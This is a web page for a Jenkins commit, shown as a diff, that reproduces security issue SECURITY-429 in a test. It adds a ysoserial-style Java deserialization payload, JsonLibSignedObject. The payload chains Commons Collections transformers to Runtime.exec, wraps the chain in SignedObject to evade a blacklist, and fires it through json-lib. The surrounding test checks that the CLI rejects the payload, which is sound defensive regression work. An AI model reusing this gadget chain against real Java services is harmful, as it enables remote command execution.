Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
LinuxSuRen
jenkins
提交
f237601a
J
jenkins
项目概览
LinuxSuRen
/
jenkins
与 Fork 源项目一致
从无法访问的项目Fork
通知
2
Star
0
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
J
jenkins
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
提交
Issue看板
体验新版 GitCode,发现更多精彩内容 >>
提交
f237601a
编写于
2月 16, 2017
作者:
J
Jesse Glick
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
[SECURITY-429] Reproduced in test.
上级
660058c2
变更
3
隐藏空白更改
内联
并排
Showing
3 changed file
with
167 addition
and
0 deletion
+167
-0
test/src/test/java/jenkins/security/Security218CliTest.java
test/src/test/java/jenkins/security/Security218CliTest.java
+8
-0
test/src/test/java/jenkins/security/security218/Payload.java
test/src/test/java/jenkins/security/security218/Payload.java
+1
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java
...y/security218/ysoserial/payloads/JsonLibSignedObject.java
+158
-0
未找到文件。
test/src/test/java/jenkins/security/Security218CliTest.java
浏览文件 @
f237601a
...
...
@@ -170,6 +170,14 @@ public class Security218CliTest {
probe
(
Payload
.
Ldap
,
PayloadCaller
.
EXIT_CODE_REJECTED
);
}
@Ignore
(
"TODO fails unless ^java[.]security[.]SignedObject is blacklisted"
)
@PresetData
(
PresetData
.
DataSet
.
ANONYMOUS_READONLY
)
@Test
@Issue
(
"SECURITY-429"
)
public
void
jsonLibSignedObject
()
throws
Exception
{
probe
(
Payload
.
JsonLibSignedObject
,
PayloadCaller
.
EXIT_CODE_REJECTED
);
}
private
void
probe
(
Payload
payload
,
int
expectedResultCode
)
throws
Exception
{
File
file
=
File
.
createTempFile
(
"security-218"
,
payload
+
"-payload"
);
File
moved
=
new
File
(
file
.
getAbsolutePath
()
+
"-moved"
);
...
...
test/src/test/java/jenkins/security/security218/Payload.java
浏览文件 @
f237601a
...
...
@@ -47,6 +47,7 @@ public enum Payload {
Spring1
(
Spring1
.
class
),
Spring2
(
Spring2
.
class
),
Ldap
(
Ldap
.
class
),
JsonLibSignedObject
(
JsonLibSignedObject
.
class
),
;
private
final
Class
<?
extends
ObjectPayload
>
payloadClass
;
...
...
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java
0 → 100644
浏览文件 @
f237601a
package
jenkins.security.security218.ysoserial.payloads
;
import
java.io.ObjectStreamException
;
import
java.io.Serializable
;
import
java.lang.reflect.Field
;
import
java.security.KeyPair
;
import
java.security.KeyPairGenerator
;
import
java.security.PrivateKey
;
import
java.security.PublicKey
;
import
java.security.Signature
;
import
java.security.SignedObject
;
import
java.util.Comparator
;
import
java.util.HashMap
;
import
java.util.HashSet
;
import
java.util.Map
;
import
java.util.concurrent.ConcurrentSkipListSet
;
import
java.util.concurrent.CopyOnWriteArraySet
;
import
net.sf.json.JSONArray
;
import
org.apache.commons.collections.Transformer
;
import
org.apache.commons.collections.collection.AbstractCollectionDecorator
;
import
org.apache.commons.collections.functors.ChainedTransformer
;
import
org.apache.commons.collections.functors.ConstantTransformer
;
import
org.apache.commons.collections.functors.InvokerTransformer
;
import
org.apache.commons.collections.keyvalue.TiedMapEntry
;
import
org.apache.commons.collections.map.LazyMap
;
import
org.apache.commons.collections.map.ReferenceMap
;
import
org.apache.commons.collections.set.ListOrderedSet
;
/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */
public
class
JsonLibSignedObject
implements
ObjectPayload
<
Object
>
{
@Override
public
Object
getObject
(
String
cmd
)
throws
Exception
{
final
String
[]
execArgs
=
new
String
[]
{
cmd
};
final
Transformer
[]
transformers
=
new
Transformer
[]
{
new
ConstantTransformer
(
Runtime
.
class
),
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]
{
String
.
class
,
Class
[].
class
},
new
Object
[]
{
"getRuntime"
,
new
Class
[
0
]
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]
{
Object
.
class
,
Object
[].
class
},
new
Object
[]
{
null
,
new
Object
[
0
]
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]
{
String
.
class
},
execArgs
),
new
ConstantTransformer
(
1
)
};
Transformer
transformerChain
=
new
ChainedTransformer
(
transformers
);
final
Map
innerMap
=
new
HashMap
();
final
Map
lazyMap
=
LazyMap
.
decorate
(
innerMap
,
transformerChain
);
TiedMapEntry
entry
=
new
TiedMapEntry
(
lazyMap
,
"foo"
);
HashSet
map
=
new
HashSet
(
1
);
map
.
add
(
"foo"
);
Field
f
=
null
;
try
{
f
=
HashSet
.
class
.
getDeclaredField
(
"map"
);
}
catch
(
NoSuchFieldException
e
)
{
f
=
HashSet
.
class
.
getDeclaredField
(
"backingMap"
);
}
f
.
setAccessible
(
true
);
HashMap
innimpl
=
(
HashMap
)
f
.
get
(
map
);
Field
f2
=
null
;
try
{
f2
=
HashMap
.
class
.
getDeclaredField
(
"table"
);
}
catch
(
NoSuchFieldException
e
)
{
f2
=
HashMap
.
class
.
getDeclaredField
(
"elementData"
);
}
f2
.
setAccessible
(
true
);
Object
[]
array2
=
(
Object
[])
f2
.
get
(
innimpl
);
Object
node
=
array2
[
0
];
if
(
node
==
null
)
{
node
=
array2
[
1
];
}
Field
keyField
=
null
;
try
{
keyField
=
node
.
getClass
().
getDeclaredField
(
"key"
);
}
catch
(
Exception
e
)
{
keyField
=
Class
.
forName
(
"java.util.MapEntry"
).
getDeclaredField
(
"key"
);
}
keyField
.
setAccessible
(
true
);
keyField
.
set
(
node
,
entry
);
KeyPairGenerator
keyPairGenerator
=
KeyPairGenerator
.
getInstance
(
"DSA"
);
keyPairGenerator
.
initialize
(
1024
);
KeyPair
keyPair
=
keyPairGenerator
.
genKeyPair
();
PrivateKey
privateKey
=
keyPair
.
getPrivate
();
PublicKey
publicKey
=
keyPair
.
getPublic
();
Signature
signature
=
Signature
.
getInstance
(
privateKey
.
getAlgorithm
());
SignedObject
payload
=
new
SignedObject
(
map
,
privateKey
,
signature
);
JSONArray
array
=
new
JSONArray
();
array
.
add
(
"asdf"
);
ListOrderedSet
set
=
new
ListOrderedSet
();
Field
f1
=
AbstractCollectionDecorator
.
class
.
getDeclaredField
(
"collection"
);
f1
.
setAccessible
(
true
);
f1
.
set
(
set
,
array
);
DummyComperator
comp
=
new
DummyComperator
();
ConcurrentSkipListSet
csls
=
new
ConcurrentSkipListSet
(
comp
);
csls
.
add
(
payload
);
CopyOnWriteArraySet
a1
=
new
CopyOnWriteArraySet
();
CopyOnWriteArraySet
a2
=
new
CopyOnWriteArraySet
();
a1
.
add
(
set
);
Container
c
=
new
Container
(
csls
);
a1
.
add
(
c
);
a2
.
add
(
csls
);
a2
.
add
(
set
);
ReferenceMap
flat3map
=
new
ReferenceMap
();
flat3map
.
put
(
new
Container
(
a1
),
"asdf"
);
flat3map
.
put
(
new
Container
(
a2
),
"asdf"
);
return
flat3map
;
}
static
class
Container
implements
Serializable
{
private
Object
o
;
public
Container
(
Object
o
)
{
this
.
o
=
o
;
}
private
Object
writeReplace
()
throws
ObjectStreamException
{
return
o
;
}
}
static
class
DummyComperator
implements
Comparator
,
Serializable
{
public
int
compare
(
Object
arg0
,
Object
arg1
)
{
// TODO Auto-generated method stub
return
0
;
}
private
Object
writeReplace
()
throws
ObjectStreamException
{
return
null
;
}
}
}
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录